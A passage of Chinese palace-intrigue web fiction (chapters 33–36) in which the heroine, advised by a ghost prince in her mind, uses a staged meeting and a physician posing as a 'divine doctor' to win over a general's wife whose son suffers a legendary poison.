她没有与他争辩,只是将那份关于张启年独子的病情描述,推到了他的面前。
“顾先生,”她平静地说道,“请你,先看看这个。”
顾九挑了挑眉,有些不情愿地接过了那张纸。
他起初看得漫不经心,可越看,他脸上的那份慵懒便越是消散。到了最后,他的脸色已经变得无比凝重。
“……浑身冰冷,血脉不畅,状若冰雕,药石罔效。”他喃喃自语,随即猛地抬起头,“这是‘雪山寒蝉’之毒!不可能!这种毒,早已绝迹百年!你们是从哪里看到的这种病例?!”
看着他那震惊的表情,沈琉璃知道,自己赌对了。
“你……你到底是谁?!”
沈琉璃没有回答他的问题。她只是看着他,缓缓地说出了一句话。
她说:“顾九,你还记得五年前,在‘黑石关’下,那个中了‘三日雪’的百夫长吗?”
顾九的瞳孔,骤然收缩!
“黑石关……三日雪……”他喃喃自语,脸色瞬间变得惨白。
他当然记得!那一战,惨烈无比。那个百夫长,是他亲手救治的!
这件事,是他们两人之间的秘密,除了他们,再无第三人知晓!
他猛地抬起头,死死地盯着沈琉璃,声音都在发颤:“这句话,是谁让你问的?!”
沈琉璃没有回答,但她的眼神,却在这一刻,悄然改变。
她用一种,与之前截然不同的语气,缓缓说道:“……本王当年就说过,你的医术,天下无双。但有时候,脑子却不太灵光。”
顾九的身体,剧烈地颤抖了起来。他看着眼前的少女,又像是透过她,看到了那个身影。
他眼眶一红,竟“噗通”一声,单膝跪地。
“……王爷。”他声音沙哑。
“……我明白了。”他喃喃道,“‘三日雪’,是‘寒蝉’的幼虫之毒,而这个孩子中的,是成虫之毒。毒性,强了百倍,寻常的至阳之物,早已无用。想要解此毒,普天之下,只有一个方子……”
他看着沈琉璃,说出了那个不可能完成的药方:
“……需以‘雪山玫瑰’为君,‘千年火蟾’为臣,再辅以传说中的‘凤凰胆’为引,方可有一线生机。”
“所以,顾先生的意思是,只要能找齐药材,你便有把握,救那个孩子?”这一次,开口的是沈琉璃。
顾九的笑声,带着几分凄凉:“沈小姐,别说那只存在于神话里的凤凰,便是那‘千年火蟾’,也早已绝迹百年。至于‘雪山玫瑰’,那更是只存在于北境雪山之巅。”
“好。”沈琉璃点了点头。
她没有再多说一个字,只是缓缓地从自己随身携带的香囊中,取出了一小撮粉末,轻轻地放在了顾九的面前。
“那你闻闻,这是什么。”
顾九疑惑地,将那丝帕凑到鼻尖,轻轻一嗅。
下一秒,他的脸色就变了!
那股清冽的玫瑰异香,如同拥有生命一般,钻入了他的鼻息!
“雪……雪山玫瑰?!”他失声惊叫,“不可能!这怎么可能?!此处竟有此物?!”
“现在,你还觉得这是一个不可能完成的任务吗?”沈琉璃看着他,轻声问道。
顾九没有说话,他看着眼前的药方,又看了看那撮“雪山玫瑰”磨成的粉末,只觉得自己的脑子,已经乱成了一锅粥。
他觉得自己,今天遇到了一个他完全无法理解的女人。
而就在此时,君北玄的声音,却在她脑中,冰冷地响了起来。
“够了!沈琉璃,我们的时间不多,别再跟这个酒鬼,浪费唇舌了。”他的声音里,充满了不耐,“沈琉璃,立刻告诉陆风!让他带人去将张启年的夫人和儿子,都给本王‘请’过来!这才是最快的办法!”
沈琉璃的心,猛地一颤。
“不行!”她立刻在心中,断然否决,“王爷!我再说一遍,这是我的战争!请你,用我的方式来打!”
她没有再理会脑中那个暴跳如雷的鬼王爷,而是迎着陆风目光,笑了一下。
“陆将军,我理解你和王爷所坚守的‘荣耀’。”她轻声说道,“但我也请你们相信,我的方法或许不够‘光明磊落’,但绝对比你们的更有效。”
她看着陆风,一字一顿地说道:“我们现在,是在‘策反’,不是在‘逼供’!张启年是个人,是个将军,他有他的骄傲。我们若是动了他的妻儿,他非但不会为我们所用,反而会视我们为死敌,与我们不死不休!”
“我要的不是一个被逼无奈的‘叛徒’,我要的是一个对我对我们心甘情愿的‘盟友’!”
她这番话,说得掷地有声。
她的脑海中,君北玄那暴怒的咆哮声,也渐渐地平息了下去,最终化为了一声冷哼。
密室内,气氛,因为两位“主帅”的无声交锋,而变得异常凝重。
陆风和顾九,看着眼前这位,时而蹙眉,时而摇头,仿佛正在与空气激烈辩论的少女,大气都不敢出。
最终,沈琉璃深吸一口气,像是下定了某种决心。
她看着顾九,说道:“顾先生,从今天起,你的任务只有一个:想尽一切办法,找到‘千年火蟾’和‘凤凰胆’的下落。钱和人手,都不是问题,我只要结果。”
随即,她的目光又转向了陆风。
“陆将军,你的任务,是配合顾先生,去搜寻这两样东西。另外……”她的眼中,寒光闪过,“派人,给我死死地盯住大皇子府!我要知道,他和他手下那些人,最近说的每一句话,见的每一个人!”
“是!”陆风重重地点了点头。
“至于那个张启年……”沈琉璃笑着说道,“他,交给我。”
“你要亲自去?”君北玄在她脑中,警惕地问道。
“当然不。”沈琉璃摇了摇头,“对付一个忧心忡忡的母亲,还用不着我这个‘主帅’亲自出马。”
她转头,对着门外朗声吩咐道:
“春桃!”
“奴婢在!”春桃立刻推门,探进一个小脑袋。
“我有一件非常重要的事,要交给你去做。”沈琉璃看着她,眼神前所未有的认真。
“明天一早,你去城中最大的‘济世堂’药铺。然后,‘偶遇’一位正在为自己儿子抓药的将军夫人。”
第33章 春桃的演技
揽月楼,顶层雅间。
当沈琉璃说出“让春桃去药铺偶遇将军夫人的计划”时。
顾九,这位玩世不恭的“神医”,第一个发出了毫不掩饰的大笑。
“哈哈哈哈!”他指着旁边,早已吓得小脸煞白的春桃,笑得前仰后合,“沈大小姐,你没开玩笑吧?你准备,派这么个连话都说不利索的小丫头,去当‘说客’?去游说一个久经风浪的将军夫人?我敢打赌,她不出三句话,就能把自己的老底给卖个干干净净!”
“你……你胡说!”春桃被他笑得又羞又气,梗着脖子反驳道,“我才不会呢!”
“好了,顾先生。”沈琉璃无奈地打断了他们,“此事我自有分寸,春桃,你过来。”
她将早已吓得六神无主的春桃,拉到了自己身边,开始了“战前总动员”。
“春桃,你听好了。”沈琉璃的眼神,变得异常认真,“从现在起,你不是尚书府的春桃。你是一个跟着姑母来都城探亲的小药商,你的名字叫‘小桃’。”
“啊?”春桃的脑子,彻底当机了。
“你此行的目的,不是去见什么将军夫人。而是去京城最大的‘济世堂’药铺,为你那‘水土不服’的姑母,抓几服清热去火的草药。”
“在药铺里,你会‘不小心’撞到一位看起来很焦急的夫人。你会把自己的药包,撞掉在地上。然后……”
沈琉璃将每一个细节,每一个表情,每一句台词,都掰开了,揉碎了,一点一点地教给了春桃。
这场“教学”,持续了整整一个时辰。
君北玄在她脑中,听得啧啧称奇:“真是闻所未闻,本王当年训练斥候,也不过是教他们如何潜行、如何格杀。你这倒好,连掉眼泪的时机和嘴角抽搐的弧度,都给设计好了,你们女人,真是可怕的生物。”
“这叫‘专业’。”沈琉璃在心里,得意地回了一句。
终于,当春桃将所有“剧本”,都背得滚瓜烂熟后。顾九,才懒洋洋地从自己的药箱里,取出了一个用油纸包裹的小包扔给了她。
“丫头,接着。”
“这是什么呀?”春桃好奇地打开一看,只见里面是几根干枯的像人参一样的东西。
“这是五十年的雪参须。”顾九打了个哈欠,解释道,“对解那孩子的毒,屁用没有。但是,这东西金贵,罕见,识货的人一眼就能看出来。你待会儿,‘不小心’撞到人时,记得,一定要把这个也给撞出去。”
“这是……道具?”春桃似懂非懂。
“不,”顾九微笑着说道,“这叫诱饵。”
……
第二日,巳时。
京城最大的药铺“济世堂”内,人来人往,药香弥漫。
春桃换上了一身朴素的布裙,梳着最简单的发髻,提着个小竹篮,早已紧张得手心都在冒汗。她躲在一个药柜后面,探头探脑地搜寻着今天的“目标”。
终于,一个身着华贵,眼中却布满了血丝的妇人,在几个丫鬟的簇拥下,走了进来。
正是张启年的夫人,李氏。
“刘掌柜,”李氏的声音,沙哑而疲惫,“还是老样子,再给我开一些,温养血脉的汤药吧。”
“唉,夫人。”药铺的老掌柜,叹了口气,摇了摇头,“不是老朽不尽心。实在是令郎这病太过蹊跷,老朽行医一生也从未见过啊。”
李氏听完,眼中最后的光也黯淡了下去,她扶着丫鬟的手,身体微微摇晃,仿佛随时都会倒下。
春桃知道,该她“登场”了。
她深吸一口气,在心里将小姐教给她的台词,又默念了一遍。然后,她抱着自己的小药包,低着头,装作一副急匆匆的样子,朝着李氏的方向,直直地“撞”了过去!
“哎哟!”
春桃“惊呼”一声,应声倒地。她手中的药包,也“恰好”散落了一地。那些普通的草药和那几根金贵的雪参须,混杂在一起,滚落在了李氏的脚边。
“对……对不起!对不起!这位夫人!”春桃连滚带爬地开始去捡地上的草药,脸上写满了愧疚。
李氏本就心烦意乱,此刻被人一撞,正要发作。可当她看到地上那个,摔得灰头土脸的小丫头时,心中的那点火气,却又变成了几分同病相怜的酸楚。
她也是一个,为了家人而四处奔波的可怜人啊。
“罢了,”她摆了摆手,示意身边的丫鬟,“扶这位姑娘起来吧。”
她自己,也弯下腰,想帮着捡起那几根,看起来最是名贵的雪参。
“姑娘,”她将雪参递了过去,有些好奇地问道,“你这可是北境来的‘雪山参’?看这成色,至少也有五十年了吧?此物千金难求,你是从何处得来的?”
春桃看着她,眼中适时地泛起了泪光。
“回夫人的话。”她哽咽着说道,“这是奴婢的姑母,好不容易,才从一位隐世‘神医’那里求来的,说是能治好我姑母的顽疾。”
“神医?!”
这两个字像一道闪电,瞬间击中了李氏那早已麻木的神经!
她一把抓住春桃的手,急切地问道:“姑娘!你说的‘神医’是哪位?他现在,身在何处?!”
春桃看着她的眼睛,脸上却露出了为难的神情。
“这……这个……”她低下头,支支吾吾地说道,“那位神医,脾气古怪得很。他说,他云游四方,救人只看缘分,不看金钱。奴婢也不知道,他下一站会去哪里。”
李氏眼中的光,瞬间又黯淡了下去。
“不过……”春桃又恰到好处地补充了一句,“那位神医,似乎对‘揽月楼’颇为喜爱。他说,这几日他还会再去那里,品茶听曲。”
“揽月楼?!”
李氏的心,再次狂跳了起来!
她知道,自己的机会,来了!
“姑娘!”她从自己的手腕上,褪下了一支成色极佳的玉镯,不由分说地塞进了春桃的手里,“求求你!求你帮我一个忙!你带我去见你家姑母!不,你带我去见那位神医!只要他肯出手,救我孩儿一命!我张家愿倾尽所有,报此大恩!”
看着眼前这位可怜的母亲,春桃对自家小姐的计谋,产生了由衷的敬佩。
小姐她,算的不是人心。
她算的,是人性。
……
当晚,揽月楼,顶层雅间。
春桃手舞足蹈地将自己在药铺里的“英勇”事迹,添油加醋地向沈琉璃汇报了一遍。
“小姐!您是没看见!奴婢当时,那叫一个镇定!那叫一个临危不乱!几句话就把那个将军夫人,给说得感激涕零,恨不得当场就给奴婢跪下!”她拍着胸脯,一脸骄傲。
“是吗?”君北玄在她脑中,用一种极其欠揍的语气,懒洋洋地说道,“本王怎么听陆风说,有个丫头紧张得,连左右脚都分不清了,差点把自己给绊倒了?”
“王爷!”沈琉璃在心里,没好气地打断了他,“您就不能让春桃,高兴一会儿吗?”
她看着自家这个,尾巴都快翘到天上去的丫鬟,哭笑不得地摇了摇头:“好了好了,知道你厉害了。差事办得不错,这个月,月钱翻倍。”
“谢谢小姐!”春桃立刻欢呼起来。
“现在,鱼儿已经上钩了。”沈琉璃的脸色,重新变得凝重起来,“接下来,就是如何‘钓鱼’了。顾先生,你那边准备得如何了?”
一直坐在一旁,自顾自地喝着酒的顾九,闻言,懒洋洋地抬起了眼皮。
“放心吧,沈大小姐。”他打了个酒嗝说道,“‘神医’的人设,小爷我已经给你准备好了。保证让他见之忘俗,闻之丧胆。”
“哦?”
“第一,”顾九伸出一根手指,“神医嘛,都得有点怪癖。我已经放出话去,说我这位‘神医’为人孤僻,不喜见生人,尤其是不喜见官家的人。”
“第二,”他又伸出第二根手指,“神医看病,从不收钱,只收奇珍异宝。”
“第三,也是最重要的一点,”顾九的嘴角,勾起一抹坏笑,“神医心情不好时,是绝不出诊的。而能让他心情变好的东西,只有一样。那就是,前朝‘兰陵坊’酿造的,三十年陈酿‘醉生梦死’。”
听完他这番话,连君北玄都在沈琉璃的脑中,发出了一声赞叹:“这个酒鬼,倒还有几分脑子,他这是在抬高身价,吊足对方的胃口。”
“没错。”沈琉璃也满意地点了点头。
她知道,张夫人为了能见到这位“神医”,必然会想尽一切办法,去满足这些“苛刻”的条件。
而这个过程本身,就是一场对她诚意的考验。
果不其然,第二天一早,一张由张夫人亲笔书写的的拜帖,送到了揽月楼。
帖中,她不仅恳求能见“神医”一面,更是附上了一份长长的礼单,上面全是她府中的奇珍异宝。
而在礼单的最后,她用一种近乎于哀求的语气写道:
“……至于那‘醉生梦死’,妾身已派人,寻遍京城,都未能找到。只听闻,此酒,早已成了宫中贡品,唯有大皇子殿下的府中,或许还藏有几坛……”
第34章 顾九的演技
揽月楼,顶层雅间。
当忠叔将张夫人那封措辞谦卑的拜帖,呈到沈琉璃面前时。一旁的顾九正翘着二郎腿,美滋滋地品着一杯价值不菲的“猴儿酒”,脸上写满了“一切尽在掌握”的得意。
“怎么样,沈大小姐?”他晃着酒杯,懒洋洋地说道,“小爷我这招‘欲擒故纵’,用得还不错吧?你看,这才一天不到,鱼儿就自己咬钩了,还是一条愿意倾家荡产的大肥鱼。”
“计划确实很成功。”沈琉璃点了点头,目光,却落在了拜帖末尾,那句关于“大皇子”的附言上,秀眉不自觉地蹙了起来。
“怎么?不高兴?”君北玄的声音,在她脑中响起,带上了几分探究,“能借此机会,探一探大皇子府的虚实,不是很好吗?”
“不好。”沈琉璃在心里,断然否定,“这是在玩火,王爷。我们现在的目标,是张启年,不是大皇子。我们要做的是,在不惊动任何人的情况下,将张夫人变成我们的人。可一旦她为了求酒,而去求见大皇子,你觉得以李裕那多疑的性格,他会怎么想?”
“他会立刻警觉!”君北玄瞬间明白了过来,“他会怀疑,为何会有这么一个神医,早不出现,晚不出现,偏偏在这个时候出现?又为何会点名要他府中独有的贡酒?他会立刻派人,将张启年一家都置于更严密的监视下!”
“没错。”沈琉璃的眼神,变得凝重,“到那时,我们所有的计划都将功亏一篑,我们绝不能让张夫人去见大皇子。”
“那怎么办?”顾九也收起了那副吊儿郎当的模样,意识到了问题的严重性,“开出去的条件,总不能自己再吃回来吧?那岂不是显得我们很没格调?”
“所以,我们要换一种更高明的格调。”沈琉璃说道。
她当即,让春桃再次作为“小桃”,给张夫人回了一封信。
信中,她用一种极其惋惜的语气写道:“我家姑母听闻夫人为求见神医,竟要去找大皇子殿下求酒,心中惶恐万分。这位神医云游天下,最恨的便是与权贵扯上关系。但念在夫人一片爱子之心感天动地,神医决定,破例一次!那‘醉生梦死’,不喝也罢……”
信的末尾,清晰地写着会面的时间与地点。
这封信,带给张夫人的震撼,远比之前更加巨大。
一个连大皇子的面子,都敢不给的“神医”!一个因为“不愿与权贵为伍”而宁愿放弃绝世佳酿的高人!这得是何等的风骨?!
她心中最后的怀疑也烟消云散,取而代之的是无论如何也要抓住这最后一根救命稻草的希望!
……
第二天,傍晚。
一辆极其普通的青布马车,悄无声息地停在了“揽月楼”的后门。
张夫人李氏,没有带任何随从,亲自抱着一个七岁孩童,在侍从的引领下,走进了这座神秘的阁楼。
李氏穿过曲径通幽的走廊,闻着空气中独特的熏香,听着若有若无的琴音,只觉得自己仿佛走入了一间神仙的洞府。
揽月楼,三层,一间名为“静心”的雅间。
雅间内,没有多余的陈设,只有一几,一榻,一香炉。
而那个传说中的“茶楼主人”,沈琉璃,正端坐于茶几之后,亲自为她烹着一壶热茶。
“张夫人,请坐。”沈琉璃抬起头,脸上带着温和的笑容,“外面风大,先喝杯热茶,暖暖身子吧。”
她的态度亲切、自然,就像一个邻家的妹妹。
李氏那颗因为紧张而悬着的心,也安定了下来。
她将自己的孩子,小心翼翼地放在了铺着柔软毛毯的榻上,然后才在沈琉璃的对面欠身坐下。
“沈……沈小姐。”李氏的声音,带着一丝颤抖,“妾身今日前来,是想……”
“夫人不必多言,您的来意我都明白。”沈琉璃将一杯热茶,推到了她的面前,“为人父母,舐犊情深,您的这份心我懂。”
她没有提任何关于“神医”的事,只是,安静地听着李氏,绝望的讲述着自己这几年来,为了给孩子治病,是如何求遍名医,散尽家财,却依旧束手无策的悲惨经历。
说到最后,这位在人前一向坚强的将军夫人,早已是泣不成声。
而就在此时,雅间的门被“吱呀”一声,从外面推开了。
一个身着宽大道袍,脸上还带着几分惺忪醉意的男人,打着哈欠走了进来。
正是顾九。
他一进来,便毫不客气地一屁股坐在了主位上,拿起茶壶,便“咕咚咕咚”地灌了几口,随即又用一种极其嫌弃的眼神,看着沈琉璃。
“我说,沈大老板,”他懒洋洋地开口,“你这茶楼,连一壶像样的酒都没有,真是岂有此理!”
“顾先生,”沈琉璃没有生气,只是微笑道,“病人,已经给您请来了。”
顾九这才将目光,投向了早已被惊得目瞪口呆的李氏。
他走到榻前,居高临下地看了一眼那个孩童,眉头不易察觉地皱了一下。
随即,他伸出两根手指,在那孩子的眉心、胸口、丹田等几处大穴上,飞快地点了几下。然后,又掰开孩子的眼皮看了看,最后才极其不情愿地伸出手,在那孩子的手腕上搭了片刻。
整个过程,他一言不发,脸上的表情也越来越凝重。
李氏在一旁,紧张得连呼吸都快要停止了。
许久,顾九才缓缓地收回了手。
他看着李氏,说出了一句话。
“这不是病。”
“是毒。”
“一种已经绝迹了上百年的,‘雪山寒蝉’之毒!”
“雪山寒蝉之毒!”
当顾九这句话缓缓落下时,张夫人李氏只觉得整个世界,都轰然崩塌。
毒……
她的孩儿,不是生病,而是中了毒?
“不……不可能……”她失魂落魄地摇着头,脸色惨白如纸,喃喃自语,“不会的,我的孩儿,他平日里大门不出二门不迈,饮食起居都有专人照料,怎么可能会中毒?”
她的第一反应,是质疑,是无法接受。
“夫人,”顾九看着她,“你以为,这世上最厉害的毒,是需要入口的吗?”
他走到榻前,轻轻地掀开那昏睡孩童的衣领,指着他脖颈后方,一块看起来与普通胎记无异的青色印记。
“‘雪山寒蝉’,乃是北境雪山深处的一种奇虫。其成虫无毒,但其虫卵,却能在孵化时散发出一种无色无味的寒气。这种寒气,会通过人的呼吸,悄无声息地侵入血脉,日积月累,最终将人的身体变成一座冰雕。”
顾九的声音很轻,却像一把最锋利的冰刀,一刀一刀地凌迟着李氏那颗早已濒临破碎的心。
“这种下毒的手法,极其隐秘,也极其高明。”他缓缓说道,“下毒之人,只需将那细小如尘埃的虫卵,混入香料、衣物中,不出半年,中毒者神仙难救。”
“而令郎……”他看了一眼那孩子,“从他体内寒毒的积郁程度来看,中毒至少已有半年之久。”
半年!
李氏的身体,剧烈地颤抖了起来。
她想起来了。
半年前,正好是她儿子的生辰。当时,府上收到了许多贺礼。其中,有一方由大皇子府上送来的护身玉佩。她的孩儿极其喜爱,从此便日夜佩戴,从不离身……
一个可怕的念头,在她心中疯狂滋生!
“神医!”她“噗通”一声,跪倒在顾九面前,抓着他的衣袍,声泪俱下地哀求道,“求求您!求求您救救我的孩儿!无论您要什么,只要我张家拿得出的,我们都给!”
然而,顾九却缓缓地摇了摇头。
“夫人,”他的声音,充满了无奈,“不是我不救,是救不了。”
“什么?!”李氏如遭雷击。
“‘雪山寒蝉’之毒,早已绝迹百年。其解法,更是只存在于传说中,便是将太医院所有太医都请来,也无力回天。”顾九的脸上,露出了一个医者面对绝症时,最真实的无力感。
他这番话,彻底击碎了李氏心中的希望。
她瘫软在地,抱着自己那早已冰冷的孩儿,发出了绝望的哀嚎。
整个雅间,都被一种悲伤的气氛所笼罩。
春桃在一旁看着,早已是泪流满面,不忍再看。
而君北玄,在她脑中也沉默了。
就在这最绝望的时刻,沈琉璃,终于缓缓地开了口。
“顾先生,”她的声音,清冷,“您刚才说,解法只存在于传说中。那敢问,这个传说又是什么?”
顾九一愣,随即苦笑道:“沈小姐,都这个时候了,您又何必再给张夫人无谓的希望呢?”
“我只是,想知道。”沈琉璃坚持道。
顾九叹了口气,也罢,便让她彻底死心吧。
他缓缓地将那个“传说”的药方,一字一顿地说了出来。
“……传说,解此毒需三味神药。”
“其一,是只生长于北境雪山之巅,能于极寒之中,绽放出至阳之火的‘雪山玫瑰’。”
“其二,是藏于南疆万丈火山下,身怀至阳之毒,能以毒攻毒的‘千年火蟾’。”
“至于第三味,更是虚无缥缈……”他摇了摇头,“是传说中,神鸟凤凰涅槃后,所留下的‘凤凰胆’。”
他说完,整个房间一片寂静。
这三味药,任何一样,都是凡人听都未曾听过的神物,想要集齐它们,简直是痴人说梦。
然而,就在李氏早已绝望时……
沈琉璃,却从自己随身携带的香囊中,取出了一小撮粉末,轻轻地放在了顾九和李氏的面前。
“那……顾先生,您看看。”她的声音平静,又充满诱惑,“这个,算吗?”
顾九疑惑地,将那丝帕凑到鼻尖,轻轻一嗅。
下一秒,他的脸色剧变!
“雪……雪山玫瑰?!”他失声惊叫,“不可能!这怎么可能?!你竟真的有此物?!”
李氏看着他的模样,那颗早已死去的心也“怦”地一下,重新狂跳了起来!
“现在,您看还行吗?”沈琉璃看着顾九,轻声问道。
“神医!不!仙女!沈小姐!”李氏连滚带爬地,扑到了沈琉璃的脚边,声泪俱下,“求求您!求求您救救我的孩儿!只要您肯救他,我李秀宁愿为您做牛做马,永世不报!”
沈琉璃没有扶她起来。
她只是缓缓地问出了一个问题。
“夫人,为了你的孩儿,你什么都愿意做吗?”
“是!妾身,什么都愿意!”李氏毫不犹豫地回答。
“哪怕……”沈琉璃的声音,变得幽冷,“是要让你,背叛你的丈夫。背叛,他所效忠的那个人呢?”
李氏的身体,猛地一僵。
她抬起头,不敢置信地看着眼前这个少女。
她,终于明白了。
这不是一场“义诊”,这是一场交易!
一场,用她儿子的命和她丈夫的“忠诚”,来做赌注的……
与魔鬼的交易!
第35章 魔鬼的药方
“……与魔鬼的交易!”
当这几个字,从李氏的脑海中冒出来时,她整个人的身体,都剧烈地颤抖了起来。
她抬起头,不敢置信地看着眼前这个,明明只有二八年华的少女。
背叛丈夫,背叛他所效忠的那个人……
这个念头,瞬间缠住了她的心脏,让她几乎要窒息。
她的丈夫张启年,是军人。忠诚,早已刻进了他的骨子里。她知道,若是让他知道,自己竟要为了儿子的性命,去背叛他的信仰,他恐怕会第一个,亲手杀了自己!
“不……我不能……”她摇着头,泪水如同断了线的珠子,滚滚而下,“我不能害我的夫君,我不能让他背上‘叛徒’的骂名……”
她的声音里,满是痛苦与挣扎。
春桃在一旁看着,早已是于心不忍,别过了头去。
“妇人之仁。”君北玄在她脑中,冷冷地说道,“对付这种人,何须多费唇舌?直接告诉她,不合作的话,她儿子今晚就得死,她自然会做出最聪明的选择。”
“王爷,”沈琉璃在心里,平静地回应,“用恐惧换来的是‘屈服’,而我想要她的‘忠诚’。”
她没有再逼迫李氏,甚至没有再看她一眼。她只是缓缓地走到了那个昏睡的孩童身边,伸出手,用自己温热的掌心,轻轻地覆在了孩子的额头上。
“好冷啊。”她轻声说道,像是在自言自语。
随即,她又看向了一旁的顾九。
“顾先生,”她看似随意地问道,“您刚才说,这‘雪山寒蝉’之毒,发作起来,会是什么样子?”
顾九看了一眼沈琉璃,立刻明白了这位“小主公”的意图。他端起酒葫芦,灌了一口,然后平淡地开口说道。
“也没什么。”他懒洋洋地说道,“不过就是,先从四肢的末端开始,一点一点地失去知觉。然后,血液会慢慢地变得像冬日里的河水一样,流动得越来越慢,直到彻底凝固。”
“这个过程,不会有任何痛苦。”他顿了顿,又补充了一句,“他只会在睡梦中,安安静静地变成一具冰雕罢了。”
“不要!”
李氏发出一声尖叫!她连滚带爬地扑到了床榻边,死死地抱住自己的孩儿,哭得肝肠寸断。
沈琉璃看着她,眼中终于也流露出了一抹悲伤。
她缓缓地蹲下身,与李氏平视。
“夫人,”她的声音轻柔,却又带着一种穿透人心的力量,“我知道,这个选择对你而言很残忍。”
“可是,你再想一想,那个给你孩儿下毒的人,那个用你孩儿的性命,来逼迫你丈夫,为他卖命的人。他的手段,难道就不残忍吗?”
“需要用一个七岁孩童的性命,来维系的‘忠诚’。那真的是忠诚吗?还是一条,拴在你们全家人脖子上的锁链?”
“我今日,不是来逼你背叛你的丈夫。”沈琉璃看着她的眼睛,一字一顿地说道,“我是来,给你一个斩断这条锁链的机会。”
“我,以及我背后的人,可以向你保证。事成之后,张将军非但不会背上任何骂名,反而会成为护国有功的英雄!”
这番话,如同惊雷,在李氏的脑海中炸响!
她止住了哭声,抬起头看着沈琉璃。
而沈琉璃,则在这时,抛出了她最后的筹码。
她从袖中,取出了那个,装着“雪山玫瑰”粉末的丝帕,轻轻地放在了李氏的面前。
“我知道,让你立刻相信我,很难。”她说道,“这里是解药的‘君药’,也是能暂时压制住令郎体内寒毒的东西。你可以先将它带回去,给孩子服下,看看效果再做决定。”
“你……”李氏愣住了。
她没想到,对方竟会先付“定金”?
“你就不怕……我不守承诺,拿了药,却……”
“我怕。”沈琉璃坦然地承认,“但,我信的不是你。我信的,是一个母亲,对自己孩子,那份可以赌上性命的爱。”
李氏看着眼前这个少女,她知道,自己已经没有别的选择了。或者说,眼前这个少女,已经给了她一个最好的选择。
她缓缓地伸出手,颤抖的,将那个小小的丝帕捧在了手心。
“好。”她从牙缝里,挤出了这个字,“我答应你。”
“我只求,沈小姐能信守承诺,救我孩儿一命!”
“我沈琉璃,以我亡母之名,在此立誓。”
……
当晚,李氏便带着那份救命的“神药”,悄然离开了揽月楼。
密室内,只剩下了沈琉璃和她的“团队”。
“小姐,您……您就真的,这么信她?”春桃还是有些不放心地问道。
“我不信她。”沈琉璃摇了摇头,“我信的,是顾先生的医术。”
顾九闻言,得意地灌了一口酒。
“不过……”沈琉璃又看向陆风,眼神重新变得凝重,“从现在起,张府上下,必须置于我们最严密的监视下。我不怕她反悔,我只怕她背后的人,会提前对她下死手。”
“主公放心。”陆风躬身道,“属下已安排妥当。”
“很好。”
沈琉璃点了点头,她知道,自己已经布下了整盘棋局中最关键的一步。
接下来,就是等待。
沈琉璃走到窗边,推开窗,任由清冷的夜风,吹拂着自己那有些发烫的脸颊。
“你好像……一点也不紧张?”
君北玄的声音,在她脑海中响起。
“为何要紧张?”沈琉璃反问道,“棋子已经落下,接下来,我们能做的只有等待。”
“等待,是战争中最煎熬的部分。”君北玄的声音里,带着过来人的感慨,“你永远不知道,你派出去的斥候,带回来的是敌人的首级,还是他自己的噩耗。你今夜,将所有的赌注,都压在了一个女人的身上。你就不怕她会背叛你吗?”
“她不会。”沈琉璃的回答,充满了笃定。
“为何如此肯定?”
“因为,我给她的,是她的主子永远也给不了她的东西。”沈琉璃看着天边那轮残月,轻声说道。
“王爷,”她顿了顿,声音里带上了几分自信,“您或许比我更懂战争,但我比您更懂母亲。”
君北玄沉默了,他的心,似乎被这个女人的某句话,给轻轻地触动了一下。
……
接下来的两日,整个乾国都城,表面上风平浪静。
三皇子李琰,闭门谢客。
二皇子李昭,每日除了上朝,便是在自己的书房里,品茶读经。
而大皇子李裕,也没有再做出任何出格的举动。
仿佛,所有的暗流,都已随着冬日的临近,而彻底冰封。
只有揽月楼,依旧是那般热火朝天。
揽月楼的生意,比沈琉璃预想中,还要好上十倍。
开业不过短短几月,这里便已取代了“百花阁”,成为了乾国都城所有贵女名媛,最趋之若鹜的销金窟。
这日,揽月楼三层,在沈琉璃专属的“望月台”内,气氛有些古怪。
沈琉璃兴致勃勃地比试着一件,由“霓裳坊”为她量身打造的新衣。
“小姐,您穿这件‘落霞锦’,可真是太好看了!简直就像天上的仙女下凡!”春桃在一旁夸赞道。
然而,君北玄的声音,却在她脑中毫不留情地批判到。
“颜色太艳,不便于夜间行动。”
“袖子太宽,影响出刀速度。”
“裙摆太长,一旦需要紧急撤离,第一个摔死的就是你。”
沈琉璃:“……”
她忍着翻白眼的冲动,在心里没好气地回了一句:“王爷,我只是要去参加一场茶会,不是去刺杀皇亲国戚。”
“有何区别?”君北玄理直气壮,“任何一场外出,都可能遭遇伏击。保持最高的警惕,是活下去的第一准则。”
就在她准备和这位“鬼王爷”,再辩论三百回合的时候。
君北玄的语气,忽然一转。
“算了!不说这个了!”他咆哮道,“本王问你,都过去两天了!张启年那边,为何还没有半点动静?!你那个‘攻心为上’的计策,到底还行不行了?!”
就在此时,忠叔的身影出现在了门口。
“小姐,”他躬身道,“陆风将军,有消息传回。”
沈琉璃的心,猛地一跳!
“说!”
“陆将军说,张府那边一切正常。”忠叔汇报道,“张夫人自那日回府后,便一直待在内院照顾小公子,寸步未出,府内也未见有任何异常的动静。”
“一切正常?”沈琉璃的眉头皱了起来。
“是的。”
“这……就是最大的不正常。”君北玄的声音,充满了警惕,“一个母亲在得到了能救自己儿子性命的‘神药’后,竟能忍住两天两夜都不去使用?这不合常理,除非……”
“除非她在害怕,或者说,她在等什么……”沈琉璃接过了他的话。
第36章 要人命的老山参
张府,内院。
卧房之内,药气弥漫。
李氏正亲自端着一碗汤药,一勺一勺地喂着自己的孩儿。她的手很稳,可她的心却早已乱成了一团麻。
两日前,她从揽月楼带回了那份,能决定她孩儿生死的“希望”,同时,那也足以将她整个家族都拖入万劫不复的深渊。
这两日,她夜不能寐。
她无数次地,想要将“雪山玫瑰”的粉末混入药中。可每当此时,她都会想起自己的丈夫,那个将“忠诚”二字,看得比性命还重的男人。
还有,他临去军营前,对她的嘱托。
“……夫人,府中上下皆要小心。尤其是公子的病,无论何人问起,都只说是‘旧疾’,切不可与外人多言半句。”
她知道,自己的丈夫早已察觉到了什么。他只是在用这种方式,保护她们母子。
可现在……她看着自己孩儿那张日渐青紫的小脸,心中的天平,开始倾斜了。
去他的忠诚!去他的大业!
她只要,她的孩儿能活下去!
她下定了决心。
然而,就在她准备,将那包粉末取出来的时候……
“夫人。”
她最信任的老嬷嬷,行色匆匆地走了进来。
“何事惊慌?”李氏皱眉道。
“夫人,”老嬷嬷的脸上,带着几分古怪的神情,她将一封信和一个用锦缎包裹的盒子,呈了上来,“是大皇子府上,派人送来的。说是殿下听闻小公子病情加重,特意从宫中太医院,为您求来的‘神药’。”
李氏的心,猛地一沉!
她打开那个盒子,只见里面静静地躺着一支价值连城的百年老山参!
而在那封信上,大皇子李裕用一种极其“关怀”的语气写道:
